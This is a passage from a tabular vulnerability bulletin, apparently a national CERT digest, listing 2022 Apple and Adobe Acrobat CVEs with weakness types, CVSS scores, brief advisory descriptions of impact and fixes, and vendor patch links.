Improper Link Resolution Before File Access ('Link Following')	18-Mar-22	7.5	An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be able to access a user's files. **CVE ID : CVE-2022-22585**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-MACO-070422/689
Out-of-bounds Write	18-Mar-22	9.8	An out-of-bounds write issue was addressed with	https://support.apple.com/en-us/HT213054	O-APP-MACO-070422/690

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			improved bounds checking. This issue is fixed in macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22586**		
Out-of-bounds Write	18-Mar-22	9.8	A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, macOS Big Sur 11.6.3, macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.. **CVE ID : CVE-2022-22587**	https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-MACO-070422/691
Improper Input Validation	18-Mar-22	6.1	A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing a	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-	O-APP-MACO-070422/692

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			maliciously crafted mail message may lead to running arbitrary javascript. **CVE ID : CVE-2022-22589**	us/HT213054, https://support.apple.com/en-us/HT213053	
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2022-22590**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-MACO-070422/693
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved memory handling. This issue is fixed in macOS Monterey 12.2. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22591**	https://support.apple.com/en-us/HT213054	O-APP-MACO-070422/694
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-	O-APP-MACO-070422/695

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may prevent Content Security Policy from being enforced. **CVE ID : CVE-2022-22592**	us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22593**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-MACO-070422/696
Origin Validation Error	18-Mar-22	6.5	A cross-origin issue in the IndexDB API was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. A website may	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-	O-APP-MACO-070422/697

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			be able to track sensitive user information. **CVE ID : CVE-2022-22594**	us/HT213054, https://support.apple.com/en-us/HT213053	
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted file may lead to arbitrary code execution. **CVE ID : CVE-2022-22597**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/698
Incorrect Permission Assignment for Critical Resource	18-Mar-22	2.4	Description: A permissions issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. A person with physical access to a device may be able to use Siri to obtain some location information from the lock screen. **CVE ID : CVE-2022-22599**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/699
N/A	18-Mar-22	5.5	The issue was addressed with	https://support.apple.com/en-	O-APP-MACO-070422/700

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			improved permissions logic. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to bypass certain Privacy preferences. **CVE ID : CVE-2022-22600**	us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
N/A	18-Mar-22	7.5	The issue was addressed with additional permissions checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to read other applications' settings. **CVE ID : CVE-2022-22609**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/701
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved input validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support	O-APP-MACO-070422/702

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary code execution. **CVE ID : CVE-2022-22611**	.apple.com/en-us/HT213183	
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory consumption issue was addressed with improved memory handling. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22612**	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/703
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22613**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/704
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with	https://support.apple.com/en-	O-APP-MACO-070422/705

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22614**	us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22615**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/706
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved state management. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support	O-APP-MACO-070422/707

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			2022-003 Catalina. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22617**	.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.2.1, iOS 15.3.1 and iPadOS 15.3.1, Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8). Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.. **CVE ID : CVE-2022-22620**	https://support.apple.com/en-us/HT213092, https://support.apple.com/en-us/HT213093, https://support.apple.com/en-us/HT213091	O-APP-MACO-070422/708
Exposure of Sensitive Information to an Unauthorized Actor	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A person with physical access to an iOS device may be able to see sensitive information via	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/709

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			keyboard suggestions. **CVE ID : CVE-2022-22621**		
N/A	18-Mar-22	9.8	Multiple issues were addressed by updating to curl version 7.79.1. This issue is fixed in macOS Monterey 12.3. Multiple issues in curl. **CVE ID : CVE-2022-22623**	https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/710
Out-of-bounds Read	18-Mar-22	7.1	An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory. **CVE ID : CVE-2022-22625**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/711
Out-of-bounds Read	18-Mar-22	7.1	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3,	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support	O-APP-MACO-070422/712

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Security Update 2022-003 Catalina. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory. **CVE ID : CVE-2022-22626**	.apple.com/en-us/HT213183	
Out-of-bounds Write	18-Mar-22	7.1	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory. **CVE ID : CVE-2022-22627**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/713
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support	O-APP-MACO-070422/714

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			2022-003 Catalina. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22631**	.apple.com/en-us/HT213183	
N/A	18-Mar-22	9.8	A logic issue was addressed with improved state management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, watchOS 8.5, macOS Monterey 12.3. A malicious application may be able to elevate privileges. **CVE ID : CVE-2022-22632**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/715
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved state management. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution.	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/716

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22633		
NULL Pointer Dereference	18-Mar-22	6.5	A null pointer dereference was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An attacker in a privileged position may be able to perform a denial of service attack. **CVE ID : CVE-2022-22638**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/717
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22639**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/718
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-	O-APP-MACO-070422/719

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			12.3, watchOS 8.5. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22640**	us/HT213193, https://support.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	9.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22641**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/720
N/A	18-Mar-22	7.5	This issue was addressed with improved checks. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. A user may send audio and video in a FaceTime call without knowing that they have done so. **CVE ID : CVE-2022-22643**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/721
N/A	18-Mar-22	5.5	A privacy issue existed in the handling of Contact cards. This was addressed with improved state management. This	https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/722

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			issue is fixed in macOS Monterey 12.3. A malicious application may be able to access information about a user's contacts. **CVE ID : CVE-2022-22644**		
N/A	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. A person with access to a Mac may be able to bypass Login Window. **CVE ID : CVE-2022-22647**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/723
N/A	18-Mar-22	5.5	This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. An application may be able to read restricted memory. **CVE ID : CVE-2022-22648**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/724
Improper Preservation of	18-Mar-22	5.5	This issue was addressed with improved checks. This issue is fixed in	https://support.apple.com/en-us/HT213184, https://support	O-APP-MACO-070422/725

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Permissions			macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. A plug-in may be able to inherit the application's permissions and access user data. **CVE ID : CVE-2022-22650**	.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	
Out-of-bounds Write	18-Mar-22	7.5	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Monterey 12.3. A remote attacker may be able to cause unexpected system termination or corrupt kernel memory. **CVE ID : CVE-2022-22651**	https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/726
Improper Authentication	18-Mar-22	3.3	An authentication issue was addressed with improved state management. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. A local attacker may be able to view the previous logged in user's desktop from	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/727

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the fast user switching screen. **CVE ID : CVE-2022-22656**		
Improper Initialization	18-Mar-22	7.8	A memory initialization issue was addressed with improved memory handling. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22657**	https://support.apple.com/en-us/HT213183, https://support.apple.com/en-us/HT213191, https://support.apple.com/en-us/HT213190	O-APP-MACO-070422/728
Improper Input Validation	18-Mar-22	5.5	This issue was addressed with a new entitlement. This issue is fixed in macOS Monterey 12.3. An app may be able to spoof system notifications and UI. **CVE ID : CVE-2022-22660**	https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/729
Access of Resource Using Incompatible Type ('Type Confusion')	18-Mar-22	7.8	A type confusion issue was addressed with improved state handling. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina.	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/730

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22661**		
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22664**	https://support.apple.com/en-us/HT213183, https://support.apple.com/en-us/HT213191, https://support.apple.com/en-us/HT213190	O-APP-MACO-070422/731
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved validation. This issue is fixed in macOS Monterey 12.3. A malicious application may be able to gain root privileges. **CVE ID : CVE-2022-22665**	https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/732
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.3. An application	https://support.apple.com/en-us/HT213183	O-APP-MACO-070422/733

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22669**		
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24091**	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	O-APP-MACO-070422/734
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	O-APP-MACO-070422/735

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24092**		
Product: mac_os_x					
Exposure of Resource to Wrong Sphere	18-Mar-22	7.8	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. Processing a maliciously crafted STL file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22579**	https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-MAC_-070422/736
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054,	O-APP-MAC_-070422/737

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			11.6.3. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22593**	https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted file may lead to arbitrary code execution. **CVE ID : CVE-2022-22597**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MAC_-070422/738
Out-of-bounds Write	18-Mar-22	7.1	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Big Sur 11.6.5, macOS Monterey 12.3, Security Update 2022-003 Catalina. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213183	O-APP-MAC_-070422/739

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure of process memory. **CVE ID : CVE-2022-22627**		
Product: safari					
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2022-22590**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-SAFA-070422/740
Product: tvos					
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. A malicious application may be able to gain root privileges. **CVE ID : CVE-2022-22578**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-TVOS-070422/741
Exposure of Resource	18-Mar-22	7.8	An information disclosure issue was addressed with improved state	https://support.apple.com/en-us/HT213056, https://support	O-APP-TVOS-070422/742

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
to Wrong Sphere			management. This issue is fixed in iOS 15.3 and iPadOS 15.3, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. Processing a maliciously crafted STL file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22579**	.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. Processing a maliciously crafted file may lead to arbitrary code execution. **CVE ID : CVE-2022-22584**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-TVOS-070422/743
Improper Link Resolution Before File Access ('Link Following')	18-Mar-22	7.5	An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization. This issue is fixed in iOS 15.3 and iPadOS	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054,	O-APP-TVOS-070422/744

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			15.3, watchOS 8.4, tvOS 15.3, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be able to access a user's files. **CVE ID : CVE-2022-22585**	https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	
Improper Input Validation	18-Mar-22	6.1	A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing a maliciously crafted mail message may lead to running arbitrary javascript. **CVE ID : CVE-2022-22589**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-TVOS-070422/745
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may lead to arbitrary code execution.	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-TVOS-070422/746

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22590		
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may prevent Content Security Policy from being enforced. **CVE ID : CVE-2022-22592**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-TVOS-070422/747
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22593**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-TVOS-070422/748
Origin Validation Error	18-Mar-22	6.5	A cross-origin issue in the IndexDB API was addressed with	https://support.apple.com/en-us/HT213058,	O-APP-TVOS-070422/749

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. A website may be able to track sensitive user information. **CVE ID : CVE-2022-22594**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	
